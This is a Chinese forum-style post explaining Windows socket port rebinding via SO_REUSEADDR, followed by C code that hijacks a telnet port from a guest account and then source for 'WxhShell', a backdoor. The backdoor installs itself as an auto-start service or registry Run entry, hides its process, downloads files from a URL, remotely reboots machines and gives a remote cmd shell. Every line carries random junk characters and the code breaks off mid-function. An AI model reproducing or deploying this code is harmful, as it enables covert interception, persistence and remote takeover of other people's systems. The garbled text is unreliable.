在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!G?gsW0\h s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:tj-gDa\Y WUoOGbA ` saddr.sin_family = AF_INET;
,YLF+^w- D"l+iVbBP saddr.sin_addr.s_addr = htonl(INADDR_ANY);
B3
zk(RNZ ;L"!I3dM) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
YT-=;uK^S ")UwkF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_8fA?q= HuI`#.MpWE 这意味着什么?意味着可以进行如下的攻击:
]r/^9XaqtA W!la -n 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q mQfLz7&x 'Pd(\$ZY 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
pGGmA;TC1 ocQWQ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
m7jA
,~O gNj7@bX~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
i*[n{=*l@ Z~u9VYi! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|+f-h, wNWka7P* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\
v2H^j/ j,-C{ K 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
m
VxO$A,
"lVqU #include
lP_db& #include
~(X(& #include
~}ovuf=% #include
>hsuAU.UOR DWORD WINAPI ClientThread(LPVOID lpParam);
h #.N3o int main()
Paf%rv2 {
{7"0,2 Hb? WORD wVersionRequested;
>FF5x#^&c DWORD ret;
i!H!;z# WSADATA wsaData;
L'A)6^d@S BOOL val;
p9[6^rjx8 SOCKADDR_IN saddr;
E4%j. SOCKADDR_IN scaddr;
L8$1K &! int err;
2Aq~D@,9=: SOCKET s;
a\5FAkI SOCKET sc;
l*
dV\ B int caddsize;
<z)m%*lvU HANDLE mt;
6[P-Ny{z DWORD tid;
4gBp8*2 wVersionRequested = MAKEWORD( 2, 2 );
\Sy7"a err = WSAStartup( wVersionRequested, &wsaData );
-*ELLY[ if ( err != 0 ) {
%&blJ6b printf("error!WSAStartup failed!\n");
J%rP$O$ return -1;
c0- ;VZ' }
_ -..~K.| saddr.sin_family = AF_INET;
2.I^Xf2 lFG9=Wf //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[ AzO:A sfD5!Z9#1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
{3\R|tZh,` saddr.sin_port = htons(23);
%:9oDK if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
al^!,ykc {
X ]j)+DX> printf("error!socket failed!\n");
.IrNa>J~ return -1;
;iQEkn2T|} }
LEW hb!U val = TRUE;
M4f;/ `w //SO_REUSEADDR选项就是可以实现端口重绑定的
p.JXSn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
B;#J"6w {
9q[;u[A8^ printf("error!setsockopt failed!\n");
HTjkR*E return -1;
|CD"*[j] }
@tUoD>f //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
lx0~>K] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
PD[z#T!' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
@E9" Zv-$ ;@mRo`D` if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
-.I4-6~ {
v({N:ya ret=GetLastError();
N;sm*+r printf("error!bind failed!\n");
X JGB)3QI return -1;
w`HI]{hE~N }
S7iDTG_@t listen(s,2);
<E,%@ while(1)
lTRl"`@S {
PH3 >9/H caddsize = sizeof(scaddr);
TV59(bG.2 //接受连接请求
EM j;2! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.giz=*q+ if(sc!=INVALID_SOCKET)
`u'bRp {
=Ufr^naA mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
C|-pD if(mt==NULL)
u eb-2[= {
0Rn+`UnwB printf("Thread Creat Failed!\n");
T<b+s#n4 break;
dE`-\J }
n| !@1sd }
R*pC.QiB~ CloseHandle(mt);
G5.nPsuM }
KP"%Rm`XN closesocket(s);
i{c@S:&@^ WSACleanup();
TX8<J>x return 0;
l{c]p- }
H1:be.^YP DWORD WINAPI ClientThread(LPVOID lpParam)
csZc|kDI {
xJ8%<RR!t SOCKET ss = (SOCKET)lpParam;
q%YV$$c SOCKET sc;
_banp0ywS unsigned char buf[4096];
Ddju~510 SOCKADDR_IN saddr;
TCKu,}s long num;
G[Lpe DWORD val;
Y4.Eq+$gh DWORD ret;
o(kM9G| //如果是隐藏端口应用的话,可以在此处加一些判断
xw^.bz| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
sJx+8
- saddr.sin_family = AF_INET;
SGc8^%-` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:aLT0q!K saddr.sin_port = htons(23);
y3u+_KY- if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K0pac6] {
KW^<,qt5w printf("error!socket failed!\n");
13'vH]S$M return -1;
u6u=2 }
`6Qdfmk= val = 100;
9Z"+?bv/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
az;Q"V'6 {
e-hjC6Q U ret = GetLastError();
d%@~mcH> return -1;
penlG36Q }
\!50UVzm) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C#V ~Y {
T\s)le ret = GetLastError();
"L&'Fd@ZU return -1;
1SIq[1 }
RkeltE~u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|C%Pjl^YkV {
CWo1.pV w printf("error!socket connect failed!\n");
.9[45][FK closesocket(sc);
v60^4K> closesocket(ss);
c?2MBtnu return -1;
s
MN*RKer }
S{Hx]\ while(1)
%#L]]-% {
^E`(*J/o //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
HS>f1! //如果是嗅探内容的话,可以再此处进行内容分析和记录
\<0B 1m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~rr 4ok num = recv(ss,buf,4096,0);
E`H$YS3o if(num>0)
x3ERCqTR send(sc,buf,num,0);
x]mxD|?f else if(num==0)
_/* U2.xS break;
:1q4"tv| num = recv(sc,buf,4096,0);
^&/G| if(num>0)
>YtdA send(ss,buf,num,0);
O#EV5FeF. else if(num==0)
)\;Z4x;]U break;
h0Z{,s} }
mnk"Vr` L closesocket(ss);
7r+g8+4 closesocket(sc);
+|Hioq*,t return 0 ;
tGdf/aTjy }
t2" (2 |IoB?^_h 9vNkZ-1 ==========================================================
v4miU;|\ w=h1pwY 下边附上一个代码,,WXhSHELL
Z}A%=Z\/3 ./j,Z$| ==========================================================
ZlYPoOq ik|-L8 #include "stdafx.h"
Ch()P.n? Sw`RBN[ yo #include <stdio.h>
I\?9+3 XnQ #include <string.h>
; R=.iOn #include <windows.h>
@pI5lh #include <winsock2.h>
_{vkX<s #include <winsvc.h>
:M{Y,~cP #include <urlmon.h>
rKHY?{! `u!l3VZ/4 #pragma comment (lib, "Ws2_32.lib")
@UBjq%z #pragma comment (lib, "urlmon.lib")
'/Bidb? aKUS5jDu #define MAX_USER 100 // 最大客户端连接数
+t4BQf #define BUF_SOCK 200 // sock buffer
]u-]'P #define KEY_BUFF 255 // 输入 buffer
0yx 3OY ^[Ua46/" m #define REBOOT 0 // 重启
@ ''GPL@ #define SHUTDOWN 1 // 关机
bk<\ujH B{oU,3U> #define DEF_PORT 5000 // 监听端口
kY,U8a3! )5JU:jNy #define REG_LEN 16 // 注册表键长度
vB37M@wm #define SVC_LEN 80 // NT服务名长度
$wYtyN[ KV|}# <dD // 从dll定义API
O9'x-A% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o]{uc, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
hqk}akXt typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4ww]9J typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
gx03xPeu G Ejd7s]C // wxhshell配置信息
lT\a2.E struct WSCFG {
4$/i%B#ad int ws_port; // 监听端口
sC00un% char ws_passstr[REG_LEN]; // 口令
E@a3~a int ws_autoins; // 安装标记, 1=yes 0=no
zJ+8FWy:S char ws_regname[REG_LEN]; // 注册表键名
'`Bm'Dd char ws_svcname[REG_LEN]; // 服务名
)CI1; char ws_svcdisp[SVC_LEN]; // 服务显示名
a"/#+=[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
IfO;S*Qt char ws_passmsg[SVC_LEN]; // 密码输入提示信息
^ yh'lh/ int ws_downexe; // 下载执行标记, 1=yes 0=no
= 5D nR char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
E6Rz@"^XV char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(nW67YTr 'B83m#HR# };
3:"]Rn([P #tt?!\8C // default Wxhshell configuration
TGuiNobD struct WSCFG wscfg={DEF_PORT,
p3ISWJa! "xuhuanlingzhe",
M >:]lpRK 1,
Sj'ht= "Wxhshell",
Lf:uNl*D "Wxhshell",
d;Hn#2C "WxhShell Service",
1\RGM<q$f "Wrsky Windows CmdShell Service",
)Fd
HV;K "Please Input Your Password: ",
l5Y/Ok0, 1,
#8{F9w<Rf "
http://www.wrsky.com/wxhshell.exe",
,3v+PIcMM+ "Wxhshell.exe"
>}~#>Ru };
gADmN8G= QQk{\PV // 消息定义模块
IUGz =%[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ggtDN{t char *msg_ws_prompt="\n\r? for help\n\r#>";
-]Cc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Xf=XBoN| char *msg_ws_ext="\n\rExit.";
d{et8N char *msg_ws_end="\n\rQuit.";
4@ILw char *msg_ws_boot="\n\rReboot...";
d;tkJ2@NO char *msg_ws_poff="\n\rShutdown...";
bLz*A- char *msg_ws_down="\n\rSave to ";
qZ@0]"h @vgG1w char *msg_ws_err="\n\rErr!";
n<Svwa} char *msg_ws_ok="\n\rOK!";
?!w^`D0}o 2Zuq?1= char ExeFile[MAX_PATH];
u{&B^s)k. int nUser = 0;
d
"BW/%m|g HANDLE handles[MAX_USER];
d
{lP int OsIsNt;
va/m~k|i Z>F^C}8f SERVICE_STATUS serviceStatus;
?&WYjTU]H SERVICE_STATUS_HANDLE hServiceStatusHandle;
`Yc_5&" (VvKGh // 函数声明
50jOA#l[ int Install(void);
+y[@T6_ int Uninstall(void);
kI*(V[i int DownloadFile(char *sURL, SOCKET wsh);
F}Mhs17!| int Boot(int flag);
@#+jMV$g void HideProc(void);
5OM?3M int GetOsVer(void);
&a> lWE int Wxhshell(SOCKET wsl);
KH KS$D void TalkWithClient(void *cs);
y;"
n9 int CmdShell(SOCKET sock);
O|kKwadC int StartFromService(void);
;y?);!g int StartWxhshell(LPSTR lpCmdLine);
2J;`m_oP C>^D*C( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
W!$zXwY}( VOID WINAPI NTServiceHandler( DWORD fdwControl );
W:&R~R maMHZ\Q // 数据结构和表定义
l2v_?j-)x SERVICE_TABLE_ENTRY DispatchTable[] =
Tm+;0 {
;SwC&.I {wscfg.ws_svcname, NTServiceMain},
|wxGpBau {NULL, NULL}
&'|B =7 };
VBoMT:# ]7sx;KFv // 自我安装
~%w~-O2 int Install(void)
\v@({nB8 {
PsjbR char svExeFile[MAX_PATH];
BJjx|VA+ HKEY key;
4FeEGySow strcpy(svExeFile,ExeFile);
3{raKM6F `T*U]/zQ // 如果是win9x系统,修改注册表设为自启动
UyYfpL"$A" if(!OsIsNt) {
T~4mQuYi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`%K`gYhG1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r >{G`de4 RegCloseKey(key);
?4t-caK^u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`linG1mF RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-H(vL= RegCloseKey(key);
cleOsj;S return 0;
Y8s;w!/ }
F:FMeg }
=y ]Jl,_. }
_v5t<_^N else {
uq7T{7~< 0O@_cW // 如果是NT以上系统,安装为系统服务
Go\VfLL w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4z4v\IpB if (schSCManager!=0)
^%bBW6eZ {
%n$^-Vc& SC_HANDLE schService = CreateService
3*S[eqMJc (
Dk)}|GJ()" schSCManager,
9G+f/k,P wscfg.ws_svcname,
64ox jF) wscfg.ws_svcdisp,
0LVE@qEL SERVICE_ALL_ACCESS,
Y)HbxFF`/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
B+VuUt{S SERVICE_AUTO_START,
tiQ;#p7% SERVICE_ERROR_NORMAL,
)na&"bJ svExeFile,
gy_$#e NULL,
_+QwREP NULL,
97~K!'/^+y NULL,
=v-2@=NJ`K NULL,
_g|acBF NULL
a%,fXp> );
q=c/B(II! if (schService!=0)
/lD?VE {
[$\>~nj= CloseServiceHandle(schService);
:iCM=k CloseServiceHandle(schSCManager);
XF,<i1ZlM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)q^ Bj$ strcat(svExeFile,wscfg.ws_svcname);
P;91~``b- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
e1 a*'T$z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0Oxz3r%}r RegCloseKey(key);
D&{
*AH%Q return 0;
b](o]O{v }
D!FaE N }
,"
R>}kPli CloseServiceHandle(schSCManager);
KsdG(.I+ek }
3;/?q }
hw,^G5m \2DE==M)P return 1;
(Pi-uL<[a }
*3Nn +T
E&2tBrAq // 自我卸载
3]}'TA`v int Uninstall(void)
(aKZ5>>cN {
`F1dyf!p< HKEY key;
oh\,OW w=J4zkWk if(!OsIsNt) {
T%I&txl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
g()m/KS< RegDeleteValue(key,wscfg.ws_regname);
xPQL?. RegCloseKey(key);
jXIEp01 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
p5*lEz|$ RegDeleteValue(key,wscfg.ws_regname);
=MSu3<y, RegCloseKey(key);
m6n hC return 0;
X%4h(7;v }
!Yh}H<w0 }
pCt}66k} }
#)74X%4( else {
!IAKVQ DX@}!6|T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
FBYODw if (schSCManager!=0)
km>o7V&4G {
Npa-$N&P{S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
rz6jx if (schService!=0)
D VwCx^ {
DP>mNE if(DeleteService(schService)!=0) {
vjTwv+B" CloseServiceHandle(schService);
a!t
V6H CloseServiceHandle(schSCManager);
&BgU:R, return 0;
,P@QxnQ }
R;THA! CloseServiceHandle(schService);
JSjYC0e }
q|{tQJfYg CloseServiceHandle(schSCManager);
k>{-[X,/OV }
L>nO:`>h }
#v8Cy|I 79tJV return 1;
yiT{+;g^ }
|R~;&x: *i?.y*g // 从指定url下载文件
6FjVmje int DownloadFile(char *sURL, SOCKET wsh)
,OB&nN t> {
Nmf#`+7gCI HRESULT hr;
<nA3Sd"QfV char seps[]= "/";
%FS;>;i? char *token;
l<RfRqjw char *file;
\Da~p9T& char myURL[MAX_PATH];
SJ(9rhB5*. char myFILE[MAX_PATH];
{HuLuP0t @,vv\M0)p strcpy(myURL,sURL);
OK\]*r token=strtok(myURL,seps);
M(S{1|,V while(token!=NULL)
Y n>{4BZ># {
6D^%'[4t file=token;
r}@< K token=strtok(NULL,seps);
~7BX@? }
Qa?QbHc vs*I7< GetCurrentDirectory(MAX_PATH,myFILE);
;U7t strcat(myFILE, "\\");
)/TVJAJ strcat(myFILE, file);
@7|)RSBQz send(wsh,myFILE,strlen(myFILE),0);
+~:0Dxv W send(wsh,"...",3,0);
m){&:Hs hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
~%G Ssm\J if(hr==S_OK)
uN&M\( return 0;
v<fWc971 else
2V< # Y return 1;
ST4(|K Vx(;|/: }
:+A;TV Bcm=G"" // 系统电源模块
%#Q
#N,fw int Boot(int flag)
7eH@n<]Y2 {
/2'c> HANDLE hToken;
#ZwY?T
x TOKEN_PRIVILEGES tkp;
(QhAGk&lu ]eL~L_[G\ if(OsIsNt) {
}'_ :XKLj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
-(ER4# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
h=mv9=x tkp.PrivilegeCount = 1;
<on)"{W13 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
s @3zx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
A3!2"}L if(flag==REBOOT) {
$YR{f[+L
w if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
oG9SO^v_ return 0;
D2-O7e }
<v-92? else {
"lb\c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
6!o/~I# return 0;
dW6Q)Rfi }
"p2u+ 8? }
KKMWD\ else {
n]Ebwznt- if(flag==REBOOT) {
-*5yY#fw} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
C890+(D~ return 0;
E<P*QZ-C3 }
4t(QvIydA else {
*xho if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
0MhxFoFO return 0;
GYTbeY }
c{ZqQtfM }
:4b- sg# m
R"9&wq return 1;
2fbvU }
LDSbd,GF yl|R:/2V // win9x进程隐藏模块
,9+nfj void HideProc(void)
@u7%B}q7: {
vV2o[\o^ %hrsE5k^, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
RH1U_gp4 ] if ( hKernel != NULL )
KN|'|2/| {
O/'f$ Zj36 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Zr~"\llk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fG^7@Jw:G FreeLibrary(hKernel);
I[vME" }
lp3(&p<: @)8NI[=6O return;
ROcY'- }
VdYOm :K5V/-[|V1 // 获取操作系统版本
qRWJ-T:!F int GetOsVer(void)
047*gn.b {
(p'/p OSVERSIONINFO winfo;
0!)U *+j, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-U&098}<K GetVersionEx(&winfo);
qrOB_Nz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
c lq
<$-
return 1;
8VKb* else
bK6, saN> return 0;
an #jZ[ }
t/_\U=i$ :^C#-O // 客户端句柄模块
DB!uv[c int Wxhshell(SOCKET wsl)
t4*aVHT {
/<Gyg7o0 SOCKET wsh;
4j2~"K struct sockaddr_in client;
UEk|8yq DWORD myID;
7UY('Q[
pyGFDB5_P while(nUser<MAX_USER)
&FT5w T {
*s
1D\/H int nSize=sizeof(client);
,<IL*=a wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
pvK \fSr if(wsh==INVALID_SOCKET) return 1;
IhtmD@H} 4"`=hu Q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
GA}hp% if(handles[nUser]==0)
kjQIagw closesocket(wsh);
})Ix.!p else
C8O7i[uc nUser++;
"@F*$JGT y }
OD>u$tI9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
!:R^}pMhIk U]1>?,Nk'3 return 0;
N GX-'w }
i&?
78+: q>wa#1X) // 关闭 socket
AqTR.}H void CloseIt(SOCKET wsh)
pRb+'v&_k {
YLr%vnO*NS closesocket(wsh);
>&4I.nA nUser--;
+^o3}` ExitThread(0);
:K
a^ }
`"-`D!U?$ F='jmiVJ // 客户端请求句柄
Lcm~QF7cd void TalkWithClient(void *cs)
P W0q71 {
w0F:%:/ m7bn%j-{$f SOCKET wsh=(SOCKET)cs;
|^>L`6uo char pwd[SVC_LEN];
23.y3t_? char cmd[KEY_BUFF];
MV:<w3! char chr[1];
Lk$Je
O int i,j;
S.?\>iH[ |>m# m*{S while (nUser < MAX_USER) {
!ds"88:5^ 98<bF{#0WM if(wscfg.ws_passstr) {
h[M6. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AOq9v~)z- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3:z4M9f //ZeroMemory(pwd,KEY_BUFF);
|R:v< i=0;
3/#R9J# while(i<SVC_LEN) {
<%5-Pz p `:B // 设置超时
kfG 65aa>_ fd_set FdRead;
[7ek;d;'t struct timeval TimeOut;
h|Teh-@A5 FD_ZERO(&FdRead);
_
cHV3cz FD_SET(wsh,&FdRead);
".Q!8j"@f TimeOut.tv_sec=8;
'IqK M TimeOut.tv_usec=0;
.j]OO/, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
D{3 x}5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%s&E-*X &,6y(- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
t8a@L(J$ pwd
=chr[0]; UH.}B3H
if(chr[0]==0xd || chr[0]==0xa) { @pEO@bbg>
pwd=0; EzeDShN=J
break; 9cx!N,R t
} GwU>o:g"
i++; vb80J<4
} d%[`=fs]|m
n+A'XBHk
// 如果是非法用户,关闭 socket !D|pbzQc8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d~xU?)n)
} F"HI>t)>
0'`8HP
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iMY0xf8l
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u"
NIG
)b:~kuHi
while(1) { bl!f5RO S(
GhfUCW%
ZeroMemory(cmd,KEY_BUFF); u3v6$CD?
`mHOgS>|
// 自动支持客户端 telnet标准 Z ^9{Qq
j=0; DRFuvU+e
while(j<KEY_BUFF) { JCU3\39}
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OKLggim{
cmd[j]=chr[0]; j@_) F^12
if(chr[0]==0xa || chr[0]==0xd) { W;)FNP|MT
cmd[j]=0; E]U3O>hf
break; +H m+#o
} u^4 "96aXJ
j++; spoWdRM2
} (fI&("; t
#B.w7y5*
// 下载文件 Osvz 3UMY3
if(strstr(cmd,"http://")) { (^s_w03
send(wsh,msg_ws_down,strlen(msg_ws_down),0); PU/Br;2A
if(DownloadFile(cmd,wsh)) "3KSmb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?}lp o; $
else ~IJZM`gN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >7v.`m6?H
} g cK"
else { N@du.d:
1p"EE~v
switch(cmd[0]) { i2%m}S;D9
,B/p1^;.
// 帮助 4>wIF }\
case '?': { lVp~oZC6[
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h9OL%n 7m'
break; =QKgsgLh
} q9]^+8UP
// 安装 {ALBmSapK"
case 'i': { A%czhF
if(Install()) yU8Y{o;:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +]~w ?^h
else UC
LjR<}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BQJ`vIa
break; D``NQ`>A
} *e"GQd?
// 卸载 X!A]V:8dk
case 'r': { sz2SWk^&
if(Uninstall()) r/$)c_x`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 22|M{
else 7[.Q.3FL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i11GW
break; <W[8k-yOV`
} sq6% =(q(?
// 显示 wxhshell 所在路径 ZT6X4 Z
case 'p': { s2v#evI`+
char svExeFile[MAX_PATH]; sq(063l
strcpy(svExeFile,"\n\r"); en#g<on
strcat(svExeFile,ExeFile); )PoI~km
send(wsh,svExeFile,strlen(svExeFile),0); Wv*BwiQ
break; $^D(%
} (>5VS
// 重启 yLIj4bf
case 'b': { :AcNb
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VOK$;s'9}
if(Boot(REBOOT)) f;XsShxr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); '<W,-i
else { HF=C8ZtlL
closesocket(wsh); 1*,~ 1!>
ExitThread(0); EKS<s82hF&
} ~TK^aM
break; l:Xf(TLa
} <Ibr.L]
// 关机 ht)*Ync
case 'd': { IEr`6|X
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,4T$
if(Boot(SHUTDOWN)) 'e)ze^Jq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 64?$TT
else { 3!w>"h0(
closesocket(wsh); @`+$d=rO`
ExitThread(0); gsq[ 9
} f(MHU
break; LOG*K;v3
} k@)m- K
// 获取shell }b\q<sNE{
case 's': { IS*"_o<AR
CmdShell(wsh); JOne&{h]J"
closesocket(wsh); l
)V43
ExitThread(0); KXbYv62
break; adr^6n6v
} w58 QX/XG
// 退出 U)=Z&($T
case 'x': { h)RM9813<
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H_f2:Za
CloseIt(wsh); )n[Mh!mn
break; <mgTWv
} WuZn|j'
// 离开 _,1kcDu
case 'q': { k<";t
send(wsh,msg_ws_end,strlen(msg_ws_end),0); bme#G{[)Y
closesocket(wsh); <21^{ yt1
WSACleanup(); `*9FKs
exit(1); *_rGBW
break; M~Dc5\T
} f#Oz("d
} %=O!K>^vt<
} 4^}PnU7z
}`FC__
// 提示信息 {Qmb!`F
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uqeWdj*Y
} [Et\~'2w8=
} Z5a@fWU
E_uH'E
return; jy|xDQ
} ssbyvzQ
aNU%OeQA
// shell模块句柄 x(N}^Hu
int CmdShell(SOCKET sock) ^52R`{
{ /Z_ [)PTH
STARTUPINFO si; M@[gT?mv1
ZeroMemory(&si,sizeof(si)); 4n)Mx*{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3evfX[V#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \gv
x)S11
PROCESS_INFORMATION ProcessInfo; ?o'arxCxZn
char cmdline[]="cmd"; qc"/T16M]
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *!s?hHv
return 0; /[dAgxL
} ?+tZP3'
TmAb!
Y|F
// 自身启动模式 TBfl9Q
int StartFromService(void) ?\VN`8Yb
{ U*h)nc
typedef struct \eN/fTPm
{ 0DT2qM[,
DWORD ExitStatus; Px&Mi:4tG
DWORD PebBaseAddress; boB{Y 7gO4
DWORD AffinityMask; mU>*NP(L
DWORD BasePriority; "jMnYEG
ULONG UniqueProcessId; x)mC^
